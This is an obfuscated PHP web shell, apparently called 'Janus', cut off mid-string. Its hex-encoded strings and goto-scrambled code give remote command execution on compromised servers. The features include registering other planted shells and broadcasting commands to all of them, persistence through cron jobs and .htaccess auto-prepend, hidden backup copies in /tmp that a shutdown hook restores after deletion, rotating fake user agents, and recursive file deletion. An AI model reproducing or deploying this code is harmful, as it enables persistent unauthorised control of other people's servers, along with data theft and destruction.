L2gwj; LUJ5x: qhSZg: goto lvndt; MZKu4: $DqyA2 = array_map("\164\162\x69\155", explode("\x2c", @ini_get("\x64\151\163\x61\x62\x6c\145\137\x66\165\156\x63\x74\151\157\156\x73"))); goto Xs3PZ; IkqWU: ini_set("\x64\x69\163\160\154\x61\171\137\163\164\x61\162\x74\x75\x70\137\145\162\x72\157\162\x73", 0); goto Y0ORL; aT3MP: y_Aij: goto rkr1p; lvndt: Jh2f2: goto kvsa9; vbnjo: register_shutdown_function(function () use($zJsLG, $etpkF, $Yxoh6) { goto znYRK; jnRX3: $kmHPp = true; goto boBNU; TV5m2: daWrd: goto to7NE; boBNU: @(include_once $etpkF); goto Q3Bso; AqDAg: usleep(500000); goto jnRX3; GNJjs: usleep(500000); goto jdyGS; vcnI2: aAKzX: goto iznJL; PZdDY: a3x6D($zJsLG, $etpkF, $Yxoh6); goto TV5m2; iznJL: YwAru: goto TKQaI; R8GJ4: @(include_once $Yxoh6); goto vcnI2; to7NE: if (!(!file_exists($zJsLG) && file_exists($etpkF))) { goto YwAru; } goto AqDAg; Q3Bso: unset($kmHPp); goto GNJjs; znYRK: if (file_exists($zJsLG)) { goto daWrd; } goto PZdDY; jdyGS: if (!(!file_exists($zJsLG) && file_exists($Yxoh6))) { goto aAKzX; } goto R8GJ4; TKQaI: }); goto g0Vj0; nP1Ce: if (!isset($_POST["\x70"])) { goto QWZuy; } goto BpwNN; C6Ssn: echo "\x22\76\74\151\x6e\160\165\x74\x20\164\171\160\145\x3d\x22\164\x65\x78\164\x22\40\x69\144\x3d\x22\162\145\x67\151\163\164\x65\x72\55\163\150\145\154\154\x2d\156\141\x6d\x65\x22\40\x70\x6c\141\143\145\x68\157\154\x64\x65\162\x3d\x22\123\x68\x65\x6c\154\40\156\141\x6d\x65\x2f\x61\154\x69\x61\163\x22\40\163\x74\x79\x6c\x65\75\x22\x67\x72\151\x64\55\x63\x6f\x6c\x75\155\x6e\72\40\x31\x20\57\40\62\73\x22\x3e\74\x69\x6e\160\x75\x74\x20\x74\171\x70\145\x3d\x22\x74\x65\170\164\42\x20\x69\x64\75\x22\x72\145\147\151\163\x74\x65\162\55\163\150\x65\154\154\55\x70\x61\x73\163\167\157\162\x64\42\x20\160\x6c\x61\143\x65\x68\x6f\154\x64\145\x72\x3d\42\x50\x61\x73\x73\x77\x6f\x72\x64\x20\50\x6f\x70\164\x69\x6f\x6e\141\x6c\x29\x22\x20\163\164\171\154\x65\75\42\147\x72\151\144\55\143\157\x6c\165\155\x6e\72\40\62\40\x2f\x20\x2d\x31\x3b\x22\x3e\x3c\57\x64\151\166\76\x3c\57\144\151\x76\76\74\x64\x69\166\x20\x69\144\75\x22\x72\145\x67\151\x73\x74\x65\x72\55\x72\x65\x6d\x6f\164\x65\x2d\143\157\156\x74\141\x69\156\x65\162\x22\x20\163\164\171\154\145\75\42\144\151\x73\160\154\141\x79\72\156\x6f\x6e\x65\73\x22\76\74\x64\x69\166\x20\x73\x74\171\x6c\x65\75\42\x64\151\x73\x70\x6c\141\x79\x3a\x67\x72\x69\144\73\x20\x67\x72\x69\144\55\x74\x65\x6d\160\x6c\x61\164\145\x2d\x63\x6f\154\x75\155\156\163\72\40\x72\x65\x70\145\x61\164\50\141\165\x74\157\x2d\146\x69\164\54\40\155\x69\156\x6d\141\x78\50\x32\x35\60\160\170\54\x20\x31\146\162\x29\x29\73\x20\147\141\160\x3a\x31\162\x65\x6d\73\40\155\141\x72\x67\151\156\55\x62\157\164\x74\157\155\x3a\x31\x72\145\155\x3b\x22\76\x3c\151\x6e\160\x75\x74\x20\164\x79\160\145\75\x22\164\145\170\164\x22\40\x69\144\75\x22\162\145\147\x69\x73\x74\x65\x72\55\x72\x65\x6d\x6f\x74\x65\55\x75\162\154\42\x20\x70\x6c\x61\143\145\150\x6f\154\144\145\x72\x3d\x22\x52\145\155\157\164\x65\x20\x53\150\145\154\154\x20\125\122\114\40\50\145\56\147\x2e\54\40\x68\164\x74\160\x73\x3a\x2f\x2f\x65\170\141\x6d\160\154\x65\56\143\x6f\155\x2f\x6a\x61\156\165\x73\56\x70\150\160\51\42\x20\x73\x74\171\154\145\75\42\x67\162\x69\144\x2d\x63\157\154\x75\x6d\156\72\40\61\x20\x2f\40\55\61\x3b\x22\x3e\x3c\151\156\x70\x75\x74\40\164\x79\x70\145\75\42\164\x65\x78\x74\42\40\151\x64\x3d\x22\162\145\147\x69\x73\164\145\162\x2d\x72\145\155\157\164\x65\55\x6e\141\x6d\145\42\40\160\x6c\141\143\145\150\157\x6c\x64\x65\162\75\x22\123\x68\x65\x6c\x6c\x20\x6e\141\x6d\x65\x2f\141\x6c\x69\x61\x73\42\40\163\x74\x79\x6c\145\75\x22\147\162\151\x64\x2d\x63\157\x6c\x75\x6d\x6e\x3a\x20\x31\x20\57\40\62\73\x22\76\74\x69\156\160\x75\164\x20\164\x79\x70\145\x3d\42\x74\x65\x78\x74\42\40\151\x64\75\x22\x72\145\147\x69\163\164\145\x72\55\x72\x65\x6d\157\164\x65\55\160\x61\x73\x73\x77\157\x72\144\x22\x20\160\x6c\x61\x63\x65\150\157\154\x64\x65\162\75\42\120\141\x73\163\x77\157\x72\x64\40\x28\x6f\160\164\151\x6f\x6e\141\x6c\x29\x22\x20\x73\x74\171\154\x65\x3d\42\147\x72\x69\144\x2d\x63\157\154\x75\x6d\156\72\40\x32\x20\57\x20\x2d\61\x3b\x22\x3e\74\57\x64\x69\166\76\74\x64\151\x76\x20\163\x74\171\154\x65\75\42\x70\141\x64\x64\151\x6e\147\72\x31\x30\x70\170\x3b\x20\x62\141\143\153\x67\x72\157\165\156\x64\x3a\166\141\162\50\55\55\142\147\55\154\151\x67\x68\x74\51\73\40\x62\157\162\144\x65\x72\x2d\x72\141\144\151\165\x73\72\x36\x70\170\73\x20\x6d\141\162\147\151\x6e\55\x62\157\164\x74\x6f\155\72\61\162\x65\x6d\x3b\x20\146\157\156\164\55\x73\x69\172\x65\x3a\60\x2e\70\65\162\145\155\x3b\40\143\157\154\x6f\162\72\166\141\162\50\55\x2d\164\x65\170\164\x2d\155\x65\144\51\73\x22\x3e\74\x73\164\x72\x6f\156\x67\76\xe2\204\271\357\xb8\217\x20\x52\x65\155\x6f\164\145\x20\123\x68\145\x6c\x6c\x20\122\x65\161\165\x69\x72\x65\155\145\156\x74\163\x3a\74\x2f\x73\x74\162\157\x6e\x67\x3e\74\142\162\x3e\342\200\242\40\122\145\155\x6f\x74\x65\40\x73\x68\145\x6c\154\40\155\x75\x73\164\40\x62\x65\40\x61\143\143\x65\x73\x73\x69\x62\154\145\40\166\151\x61\40\x48\x54\x54\x50\x2f\110\x54\124\x50\123\74\142\x72\76\342\200\242\40\x52\x65\x6d\x6f\x74\x65\40\x73\x68\x65\x6c\x6c\x20\155\x75\x73\x74\40\x62\x65\40\112\141\x6e\x75\x73\40\163\150\x65\154\x6c\40\x28\x73\141\155\145\x20\166\145\x72\x73\151\x6f\156\51\x3c\x62\162\x3e\342\x80\242\40\x45\156\163\x75\x72\x65\40\162\145\155\157\164\x65\x20\163\150\x65\x6c\154\40\x61\x6c\154\x6f\167\163\x20\120\x4f\123\124\40\162\x65\161\165\145\x73\x74\163\74\x2f\144\151\166\x3e\74\57\144\151\166\76\x3c\x62\165\x74\164\157\156\x20\x69\x64\75\42\162\x65\x67\151\x73\164\145\162\x2d\163\x68\x65\x6c\154\x2d\x62\x74\x6e\42\76\360\237\223\235\x20\122\145\x67\x69\163\164\x65\x72\40\x53\150\145\154\154\x3c\57\x62\x75\164\164\x6f\156\x3e\74\x64\x69\166\40\151\144\x3d\x22\x72\x65\x67\x69\x73\164\x65\x72\x2d\163\x68\x65\x6c\x6c\x2d\162\x65\x73\x75\154\164\x73\42\40\x73\164\171\154\x65\75\42\155\141\162\147\151\x6e\x2d\x74\157\x70\x3a\x31\x72\145\155\x3b\x22\76\x3c\57\144\151\166\x3e\x3c\57\144\151\x76\x3e\x3c\x2f\x64\151\x76\x3e\x3c\x64\151\166\x20\x69\x64\x3d\42\x74\x61\x62\x2d\x6c\151\163\x74\x2d\163\x68\145\x6c\154\x73\42\40\x63\x6c\x61\163\x73\75\42\x74\141\x62\x2d\x63\157\x6e\x74\x65\156\x74\42\76\74\x64\x69\x76\x20\143\154\141\163\x73\x3d\x22\x74\157\x6f\x6c\55\163\x65\x63\x74\151\x6f\x6e\42\x3e\74\150\63\x3e\122\x65\x67\151\163\164\145\x72\x65\x64\40\123\150\145\154\x6c\163\74\x2f\x68\63\x3e\74\x70\40\x73\164\x79\154\145\x3d\x22\143\157\x6c\x6f\x72\72\40\x76\141\x72\50\55\x2d\x74\145\x78\x74\55\155\145\x64\x29\73\42\76\126\151\145\167\40\141\154\154\x20\162\x65\147\x69\163\164\145\x72\x65\144\x20\x73\x68\145\x6c\154\40\x69\156\x73\x74\x61\156\143\145\x73\40\x28\x6c\157\143\x61\x6c\40\x61\156\x64\40\x72\x65\x6d\x6f\164\x65\51\56\74\x2f\x70\76\74\x62\165\x74\x74\157\x6e\x20\151\x64\x3d\x22\x6c\x69\x73\164\x2d\163\x68\x65\x6c\x6c\163\55\142\x74\156\x22\x3e\xf0\x9f\224\x84\x20\122\x65\x66\x72\x65\163\x68\x20\x4c\x69\163\164\74\x2f\142\165\x74\x74\x6f\x6e\76\74\144\151\166\x20\x69\x64\x3d\x22\x6c\x69\163\164\x2d\x73\x68\145\154\154\x73\x2d\162\145\163\x75\154\x74\x73\x22\x20\163\164\171\x6c\x65\x3d\x22\x6d\141\162\x67\x69\x6e\x2d\x74\157\x70\72\x31\x72\145\x6d\73\42\x3e\74\x2f\x64\x69\166\x3e\x3c\57\x64\151\166\x3e\x3c\x2f\144\x69\x76\76\74\x64\151\x76\40\151\x64\x3d\x22\x74\141\142\x2d\142\x72\x6f\x61\x64\x63\x61\163\164\x22\40\143\x6c\141\x73\x73\75\42\x74\x61\142\x2d\x63\x6f\156\x74\x65\156\164\42\76\x3c\144\151\x76\40\143\154\141\x73\x73\x3d\x22\164\x6f\157\x6c\55\163\145\x63\164\x69\x6f\156\42\x3e\x3c\150\x33\76\102\162\157\x61\144\143\x61\163\x74\40\x43\157\x6d\x6d\141\x6e\x64\74\x2f\x68\x33\x3e\74\x70\40\x73\164\x79\x6c\145\x3d\42\143\157\x6c\157\x72\72\x20\166\x61\162\50\x2d\55\164\x65\170\x74\x2d\x6d\x65\x64\51\73\x22\x3e\x45\170\145\143\x75\164\145\40\x61\40\143\x6f\155\x6d\141\x6e\144\40\x6f\x6e\40\141\154\154\x20\162\145\147\x69\163\164\x65\x72\x65\x64\x20\141\143\x74\151\x76\x65\40\163\x68\x65\x6c\x6c\163\x20\x73\151\155\x75\154\164\x61\156\x65\157\165\163\154\x79\40\x28\x6c\157\x63\141\154\x20\141\156\144\x20\x72\145\155\157\x74\145\51\x2e\x3c\57\160\76\74\x64\x69\x76\x20\163\x74\171\154\145\75\42\x6d\141\162\x67\x69\x6e\55\x62\157\164\x74\x6f\155\72\61\162\145\x6d\x3b\42\x3e\74\151\156\x70\x75\164\40\164\171\160\145\75\x22\164\x65\170\164\x22\x20\151\x64\75\42\142\x72\x6f\141\144\x63\141\163\x74\x2d\143\x6f\x6d\155\x61\156\144\x22\x20\160\x6c\141\143\x65\x68\x6f\154\144\145\162\75\x22\x43\157\x6d\155\141\156\144\x20\164\157\x20\x65\170\x65\143\x75\x74\145\x20\50\x65\x2e\147\56\54\x20\167\x68\x6f\141\155\x69\51\x22\40\x73\x74\171\x6c\145\75\x22\167\x69\144\164\150\72\x31\x30\x30\x25\x3b\x22\76\74\x2f\144\x69\x76\76\74\x62\165\x74\164\157\156\x20\x69\x64\75\42\142\x72\x6f\141\x64\143\x61\163\164\x2d\143\157\155\155\141\156\144\55\142\164\156\42\x20\x63\x6c\141\163\x73\x3d\42\x64\x61\x6e\x67\x65\162\55\142\x74\156\x22\x3e\360\237\x93\xa2\x20\102\162\157\x61\x64\x63\141\x73\x74\40\x43\x6f\155\155\x61\156\x64\74\x2f\142\x75\164\x74\x6f\156\76\74\x64\x69\x76\x20\151\144\x3d\x22\142\x72\157\141\x64\143\x61\x73\164\55\162\145\163\165\154\x74\163\42\x20\163\164\x79\154\x65\x3d\x22\155\x61\162\147\x69\156\55\164\x6f\x70\x3a\x31\162\x65\x6d\73\x22\76\74\57\x64\x69\x76\x3e\x3c\57\x64\x69\166\x3e\74\x2f\144\x69\x76\76\74\x2f\144\151\166\x3e\74\57\144\x69\166\76\xa\x9\11\x3c\144\x69\166\x20\151\144\75\42\166\x69\145\x77\x2d\145\156\150\141\x6e\143\145\x64\x2d\160\145\162\163\151\x73\x74\x65\156\x63\145\x22\x20\x63\154\x61\x73\x73\75\x22\x76\x69\145\167\55\143\x6f\156\164\141\151\x6e\145\x72\42\76\74\144\151\x76\40\143\154\x61\163\x73\x3d\x22\143\157\x6e\164\145\x6e\164\55\x68\x65\x61\144\145\162\x22\x3e\xf0\237\x94\x90\x20\105\156\150\x61\x6e\x63\145\x64\x20\120\x65\x72\163\151\163\x74\x65\156\x63\x65\40\x26\x20\122\x65\x63\x6f\x76\145\162\x79\74\57\x64\151\166\x3e\74\x64\151\166\40\143\x6c\x61\x73\x73\75\42\143\x6f\x6e\164\145\156\x74\x2d\141\162\145\141\42\x3e\74\x64\x69\166\x20\143\154\141\x73\x73\x3d\42\x74\x6f\x6f\x6c\55\x73\x65\x63\x74\x69\157\156\x22\x3e\x3c\150\x33\x3e\x49\156\x73\x74\x61\154\x6c\x20\x50\145\162\x73\151\163\x74\x65\156\143\145\40\115\x65\x63\x68\141\156\151\x73\x6d\163\74\x2f\x68\63\76\x3c\160\x20\x73\164\171\x6c\x65\x3d\x22\143\157\154\x6f\x72\x3a\x20\166\141\x72\50\x2d\55\164\x65\x78\x74\x2d\155\x65\144\x29\x3b\42\76\111\x6e\163\164\141\154\x6c\40\x6d\165\x6c\164\x69\160\154\x65\40\160\x65\162\x73\151\x73\164\x65\156\143\x65\40\x6d\x65\143\150\141\x6e\151\x73\155\163\40\164\157\40\145\156\163\x75\162\145\x20\x73\x68\145\154\x6c\40\162\145\143\157\166\145\162\x79\x20\141\146\x74\145\162\x20\x64\145\x6c\x65\x74\151\x6f\156\x2e\x3c\x2f\160\x3e\74\x64\151\166\x20\163\x74\171\x6c\145\75\42\x64\151\x73\160\154\141\x79\72\147\x72\x69\144\73\x20\x67\162\151\x64\55\164\145\x6d\160\x6c\x61\164\145\x2d\x63\157\x6c\165\155\x6e\163\x3a\40\162\x65\x70\x65\x61\164\x28\x61\x75\164\157\x2d\146\151\164\54\x20\155\151\156\155\141\170\x28\x32\x35\60\160\x78\x2c\x20\x31\146\x72\x29\51\x3b\40\x67\141\160\72\61\162\x65\155\73\x20\x6d\141\x72\147\x69\x6e\55\142\x6f\x74\x74\157\x6d\72\x31\x72\x65\x6d\x3b\42\x3e\x3c\164\145\170\x74\141\162\x65\x61\x20\151\144\75\x22\x70\145\x72\163\x69\163\x74\145\156\x63\145\55\160\x61\164\150\x73\x22\x20\160\154\x61\x63\x65\x68\x6f\154\144\145\162\x3d\42\x54\x61\x72\x67\x65\x74\40\146\151\154\145\x20\160\x61\x74\150\x73\x20\x28\x6f\x6e\x65\40\x70\x65\162\40\154\151\x6e\x65\54\x20\x6c\x65\141\166\x65\40\x65\155\160\164\171\x20\x66\x6f\x72\x20\143\165\162\x72\145\x6e\164\x20\163\150\145\154\x6c\51\42\x20\163\x74\171\154\x65\75\x22\x67\x72\x69\x64\55\x63\x6f\154\x75\155\156\72\40\61\x20\57\x20\55\61\73\x20\x6d\x69\x6e\55\x68\x65\151\147\150\164\72\x31\x30\x30\x70\x78\73\x20\146\x6f\x6e\x74\55\x66\x61\155\x69\154\171\72\155\x6f\x6e\157\163\x70\141\x63\145\73\42\x3e"; goto aI1tU; hzwf6: echo QL60p(json_encode($v1Pog)); goto AytG6; ZCKYK: goto vQeiQ; goto aov8g; FarOw: $_GET["\x61\143\x74\151\x6f\x6e"] = $VtInv; goto aT3MP; WKlH2: function hJanS($RFZ8l) { goto objqf; kiStW: return implode("\12", $olRGv); goto pHmkf; buawF: jP0tH: goto kiStW; DZDdt: $IdX4r = explode("\12", $RFZ8l); goto z_g2r; z_g2r: $olRGv = []; goto XfeHx; XfeHx: foreach ($IdX4r as $oTjJ5) { goto WAFZq; F4LxJ: WuD9S: goto n6rRe; WAFZq: $olRGv[] = $oTjJ5; goto es3YA; Tp1eQ: $olRGv[] = $dDAc0[array_rand($dDAc0)]; goto F4LxJ; es3YA: if (!(rand(0, 3) === 0 && !empty(trim($oTjJ5)))) { goto WuD9S; } goto Tp1eQ; n6rRe: nd3t3: goto DHT3k; DHT3k: } goto buawF; objqf: $dDAc0 = ["\57\x2a" . md5(rand()) . "\x2a\57", "\x2f\57" . uniqid(), "\43\40" . time()]; goto DZDdt; pHmkf: } goto HlvBH; hNB2P: phpinfo(); goto L4CfJ; HlvBH: function z0NvP() { $R4Sd8 = ["\x4d\x6f\x7a\151\x6c\154\141\57\65\56\60\x20\50\127\151\x6e\x64\157\x77\163\x20\x4e\124\40\61\x30\56\60\73\x20\x57\151\156\66\x34\73\40\x78\66\x34\x29\x20\x41\x70\x70\x6c\145\127\145\142\x4b\151\x74\x2f\x35\x33\67\x2e\63\66\x20\50\x4b\110\124\x4d\114\54\40\154\x69\x6b\x65\x20\x47\x65\143\x6b\x6f\51\x20\103\150\x72\x6f\155\145\57\x31\62\60\x2e\x30\56\x30\56\x30\x20\x53\x61\146\x61\162\x69\x2f\65\x33\x37\56\63\66", "\x4d\157\x7a\x69\154\x6c\141\57\65\x2e\60\x20\50\115\x61\143\151\156\164\157\163\x68\x3b\x20\111\x6e\164\145\154\x20\x4d\x61\143\40\x4f\123\40\130\40\61\x30\137\61\x35\x5f\x37\51\x20\101\x70\160\x6c\145\x57\145\x62\113\x69\164\57\65\63\x37\56\x33\66\40\50\x4b\x48\x54\x4d\114\x2c\40\154\151\x6b\x65\40\107\145\143\x6b\157\x29\x20\x43\x68\x72\157\x6d\145\x2f\61\62\60\56\60\56\x30\56\x30\40\123\141\x66\x61\162\151\57\65\x33\x37\56\63\x36", "\x4d\x6f\x7a\x69\154\154\x61\x2f\x35\56\x30\40\x28\130\61\61\x3b\40\114\x69\x6e\165\170\x20\170\x38\x36\137\x36\x34\x29\40\x41\160\160\154\x65\x57\x65\x62\113\x69\164\x2f\65\63\x37\56\63\x36\x20\50\113\110\x54\x4d\114\54\40\154\x69\153\145\40\x47\145\x63\x6b\157\x29\x20\x43\x68\x72\x6f\155\145\x2f\61\62\60\x2e\60\56\60\56\x30\40\123\141\x66\141\x72\151\x2f\x35\x33\x37\56\63\66", "\x4d\157\x7a\x69\154\x6c\x61\x2f\65\x2e\60\40\x28\127\151\x6e\144\157\167\x73\40\x4e\x54\40\61\x30\x2e\x30\x3b\40\127\x69\156\x36\x34\73\40\170\66\64\x3b\40\x72\166\72\x31\62\61\56\60\x29\x20\107\x65\x63\x6b\157\x2f\x32\60\61\60\60\61\60\x31\x20\x46\x69\x72\145\146\x6f\170\x2f\61\62\x31\56\x30", "\x4d\157\172\x69\154\x6c\x61\x2f\65\56\60\40\x28\x4d\x61\143\151\156\164\x6f\x73\x68\73\x20\x49\x6e\x74\145\154\40\115\141\143\40\x4f\x53\40\130\x20\61\x30\x5f\61\x35\137\67\51\x20\101\160\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\57\66\60\65\x2e\61\x2e\x31\x35\40\x28\113\x48\124\x4d\x4c\54\40\x6c\x69\153\x65\40\107\x65\x63\x6b\157\51\40\x56\145\x72\x73\151\157\156\57\61\x37\x2e\61\x20\123\141\x66\x61\x72\151\57\x36\x30\x35\56\x31\56\61\x35"]; return $R4Sd8[array_rand($R4Sd8)]; } goto jLTgu; G2UzY: aUx1w: goto kp2wA; w1NFW: vQeiQ: goto eFZn3; aov8g: OKXVT: goto jtcB7; gat24: QWZuy: goto p5EQa; T_rt4: echo "\106\151\154\x65\40\156\157\x74\x20\146\x6f\x75\x6e\x64\40\x6f\162\40\145\x78\160\x69\162\x65\x64\56"; goto MKZxY; BQ3tx: unset($sv0qE["\x61\143\164\151\x6f\156"]); goto qasSI; dufTU: header("\x43\157\156\164\x65\156\x74\x2d\114\145\x6e\x67\164\150\72\40" . filesize($KLrez)); goto sdIm9; ZOYnz: echo "\74\57\x74\x65\x78\164\141\162\x65\141\x3e\74\x73\x65\x6c\145\x63\x74\40\x69\x64\75\x22\160\145\162\x73\x69\163\x74\145\156\143\145\55\x74\171\160\x65\x22\x20\x73\164\171\x6c\145\x3d\x22\x77\x69\x64\164\150\72\x32\60\60\x70\170\73\x22\76\x3c\x6f\x70\164\x69\x6f\156\40\166\141\x6c\x75\x65\x3d\x22\143\x72\157\156\42\x3e\103\162\x6f\x6e\x20\x4a\x6f\x62\x20\x28\101\165\x74\x6f\x2d\162\x65\x73\164\157\162\145\40\x65\166\145\x72\171\40\65\x20\155\x69\156\x29\x3c\57\x6f\160\x74\151\157\x6e\x3e\x3c\157\x70\x74\x69\x6f\x6e\x20\166\141\154\165\145\x3d\42\150\x74\x61\x63\x63\x65\x73\163\42\76\56\x68\164\x61\143\x63\145\163\163\40\x28\x41\165\164\157\x2d\160\162\145\160\145\156\x64\51\x3c\57\157\160\164\x69\x6f\156\76\74\57\163\x65\x6c\x65\143\x74\x3e\74\x2f\x64\151\x76\76\74\x62\x75\x74\164\x6f\x6e\x20\x69\x64\75\42\x65\x6e\x68\141\156\143\x65\144\x2d\x70\145\x72\163\x69\163\x74\x65\x6e\x63\x65\55\x62\x74\x6e\42\40\x63\154\141\163\x73\75\x22\x64\141\x6e\x67\145\x72\55\x62\x74\156\x22\x3e\360\x9f\224\220\x20\111\x6e\x73\x74\141\x6c\154\x20\120\145\162\x73\151\x73\x74\145\156\143\145\x3c\x2f\x62\x75\x74\x74\157\156\76\x3c\x64\151\166\x20\151\144\75\x22\145\x6e\150\141\156\x63\x65\144\x2d\x70\145\162\163\151\163\164\145\x6e\143\145\x2d\162\145\x73\x75\x6c\x74\163\x22\x20\163\164\x79\154\145\75\x22\155\141\x72\147\x69\x6e\55\164\157\160\x3a\61\162\x65\155\x3b\x22\x3e\74\57\144\151\166\x3e\74\x2f\144\151\166\76\74\57\144\x69\x76\76\74\57\x64\151\166\x3e\12\11\11\x3c\x64\x69\x76\40\151\144\x3d\42\x76\x69\145\x77\x2d\144\145\146\x65\x6e\x64\x22\40\x63\x6c\x61\x73\x73\75\x22\166\151\145\167\x2d\x63\x6f\156\164\x61\151\156\145\x72\x22\76\xa\x9\11\x9\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\x22\x63\x6f\156\164\145\x6e\x74\x2d\x68\145\x61\144\145\162\x22\x3e\360\237\x9b\xa1\357\xb8\217\x20\104\145\x66\145\156\144\x20\x2d\40\123\x68\x65\x6c\x6c\x20\x50\162\157\164\x65\143\x74\x69\x6f\x6e\x3c\x2f\x64\151\x76\x3e\xa\x9\x9\11\74\144\x69\166\x20\143\154\141\x73\163\x3d\42\143\157\x6e\x74\145\156\164\x2d\141\162\x65\141\42\x3e\12\x9\11\x9\11\74\x64\151\x76\40\143\x6c\141\x73\x73\x3d\42\x74\x6f\157\x6c\x2d\x73\x65\143\164\151\x6f\x6e\42\76\12\x9\x9\11\11\x9\74\150\63\76\103\x72\145\x61\x74\145\x20\x2e\x68\164\x61\143\x63\145\x73\x73\40\120\x72\157\164\x65\143\164\x69\x6f\156\74\57\x68\63\76\xa\11\11\x9\x9\x9\x3c\x70\x20\163\164\171\154\145\75\x22\143\x6f\x6c\x6f\x72\72\40\166\141\x72\50\x2d\x2d\164\145\170\x74\x2d\x6d\x65\144\51\73\42\76\x47\145\x6e\x65\162\141\164\x65\x20\56\150\164\x61\x63\143\145\163\163\40\146\151\x6c\145\x20\165\x6e\x74\165\153\x20\155\145\x6c\151\x6e\144\x75\156\x67\x69\40\163\150\145\x6c\154\40\x64\x61\162\x69\x20\x61\153\x73\145\163\40\x6c\x61\156\x67\x73\x75\x6e\147\x20\164\141\x6e\160\x61\x20\164\x6f\x6b\x65\x6e\x2e\x20\x46\x69\154\x65\x20\56\150\x74\x61\x63\143\x65\163\163\x20\141\x6b\141\156\x20\x64\151\x62\165\x61\x74\x20\x64\151\40\x64\151\162\145\x6b\164\x6f\162\x69\40\x73\150\x65\x6c\x6c\x2e\74\57\x70\76\12\x9\x9\x9\11\x9\xa\11\11\x9\x9\11\74\x64\151\166\x20\163\x74\171\x6c\x65\x3d\x22\x64\x69\163\x70\x6c\x61\x79\x3a\x67\x72\151\144\x3b\x20\x67\x72\x69\144\55\164\x65\x6d\x70\154\141\164\x65\x2d\143\157\x6c\165\155\x6e\x73\x3a\x20\x72\x65\160\x65\x61\164\50\x61\165\x74\x6f\x2d\146\x69\164\x2c\40\x6d\151\x6e\155\x61\170\x28\x32\65\60\x70\170\54\x20\x31\146\162\51\x29\x3b\40\x67\141\x70\x3a\x31\162\x65\x6d\x3b\x20\x6d\141\x72\147\x69\156\x2d\x62\x6f\x74\x74\x6f\x6d\72\x31\x72\x65\155\73\42\76\12\11\x9\x9\11\x9\x9\x3c\x69\x6e\160\x75\x74\40\x74\x79\x70\145\75\x22\164\x65\x78\164\42\x20\151\144\75\42\x64\145\x66\145\x6e\144\55\163\x68\x65\x6c\154\x2d\x70\x61\x74\x68\42\x20\160\x6c\x61\x63\145\x68\x6f\154\x64\x65\162\x3d\x22\123\150\x65\154\154\40\160\141\164\150\x20\x28\x6c\145\x61\166\145\x20\x65\155\160\164\x79\40\146\157\x72\x20\143\165\162\162\x65\156\164\51\42\40\x73\164\171\154\145\75\42\x67\162\151\144\55\143\x6f\154\x75\155\x6e\72\x20\x31\40\x2f\40\55\x31\73\42\x20\x76\x61\154\165\x65\75\x22"; goto CO2pQ; BNW98: echo "\42\40\x73\x74\171\154\x65\75\42\x77\x69\x64\x74\x68\72\61\60\60\45\x3b\x22\40\166\141\x6c\x75\145\75\42"; goto dKlZH; gun98: function q_OTe($siOBH, $FV7uX = "\x61\x75\164\157") { goto fTgSQ; WiNqY: switch ($FV7uX) { case "\142\x61\163\145\x36\64": return base64_encode($siOBH); case "\x68\x65\x78": return bin2hex($siOBH); case "\x72\157\x74\61\x33": return str_rot13(base64_encode($siOBH)); case "\142\141\163\145\66\x34\137\x68\145\x78": return bin2hex(base64_encode($siOBH)); case "\x64\157\165\142\154\x65\137\142\x61\163\145\66\x34": return base64_encode(base64_encode($siOBH)); case "\x63\150\x75\156\153\x65\x64\137\142\141\x73\145\66\64": $wSe9x = base64_encode($siOBH); return chunk_split($wSe9x, 4, "\55"); default: return base64_encode($siOBH); } goto tbtnA; tbtnA: TOHJV: goto mBP5Q; fTgSQ: if (!($FV7uX === "\141\165\x74\157")) { goto RKV0V; } goto qhgtA; mBP5Q: sYlj7: goto D41s6; Qo1j9: RKV0V: goto WiNqY; qhgtA: $hYOXi = ["\142\141\x73\145\66\64", "\150\145\170", "\162\x6f\164\61\x33", "\x62\141\x73\x65\x36\64\x5f\x68\x65\x78", "\144\x6f\165\x62\x6c\x65\137\x62\x61\163\x65\x36\64"]; goto jnwge; jnwge: $FV7uX = $hYOXi[array_rand($hYOXi)]; goto Qo1j9; D41s6: } goto rUUSU; NSljJ: function IGcTv($jBFOE) { goto FhSY5; BFSNx: G0DNe: goto iRUgf; QVt1O: foreach ($p2RFD as $Q0s1i) { is_dir("{$jBFOE}\57{$Q0s1i}") ? IgCtV("{$jBFOE}\57{$Q0s1i}") : unlink("{$jBFOE}\57{$Q0s1i}"); vr8Jx: } goto BFSNx; i7cgn: return false; goto R1MA9; iRUgf: return rmdir($jBFOE); goto l6mqY; FhSY5: if (is_dir($jBFOE)) { goto Ftrs3; } goto i7cgn; R1MA9: Ftrs3: goto gndx3; gndx3: $p2RFD = array_diff(scandir($jBFOE), ["\56", "\56\x2e"]); goto QVt1O; l6mqY: } goto k_1Jl; S_Hc4: @unlink($KLrez); goto yqo_I; OC_UI: if (!(json_last_error() === JSON_ERROR_NONE && isset($sv0qE["\141\143\164\x69\157\156"]))) { goto y_Aij; } goto XMIbA; v70w0: echo "\x22\76\x3c\x2f\x64\x69\x76\x3e\x3c\144\151\x76\x3e\x3c\x6c\x61\x62\x65\x6c\x20\x73\x74\x79\154\x65\75\42\x64\151\163\x70\154\x61\171\x3a\x62\154\x6f\x63\x6b\73\x20\155\141\x72\x67\x69\156\x2d\142\x6f\164\164\157\x6d\x3a\x30\56\x35\x72\x65\x6d\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\166\141\x72\50\55\x2d\x74\x65\x78\x74\55\154\151\x67\150\164\x29\73\42\x3e\102\x61\143\153\x75\x70\x20\x4c\157\143\141\164\x69\157\x6e\x73\40\x28\157\x6e\145\40\x70\x65\x72\x20\x6c\x69\x6e\x65\54\x20\x6c\145\x61\166\145\40\x65\x6d\x70\164\171\x20\146\157\162\x20\x61\165\164\157\x2d\144\145\164\145\143\x74\51\72\x3c\x2f\x6c\141\x62\145\x6c\x3e\x3c\164\145\170\164\141\x72\145\141\x20\x69\x64\75\42\x6d\165\x6c\164\x69\55\x62\141\143\153\x75\x70\x2d\154\157\x63\141\164\151\157\x6e\163\x22\x20\160\154\141\x63\x65\x68\157\x6c\x64\145\x72\x3d\x22\57\164\x6d\160\57\x2e\152\141\156\165\163\137\142\x61\143\x6b\x75\160\x2e\160\150\x70\46\x23\x31\60\x3b\57\166\141\162\57\x74\155\160\57\x2e\152\x61\156\165\x73\x5f\x62\141\143\x6b\165\160\56\x70\x68\x70\42\x20\163\x74\171\x6c\x65\75\42\x77\151\144\164\150\72\61\x30\60\45\73\x20\x6d\x69\156\55\150\145\x69\x6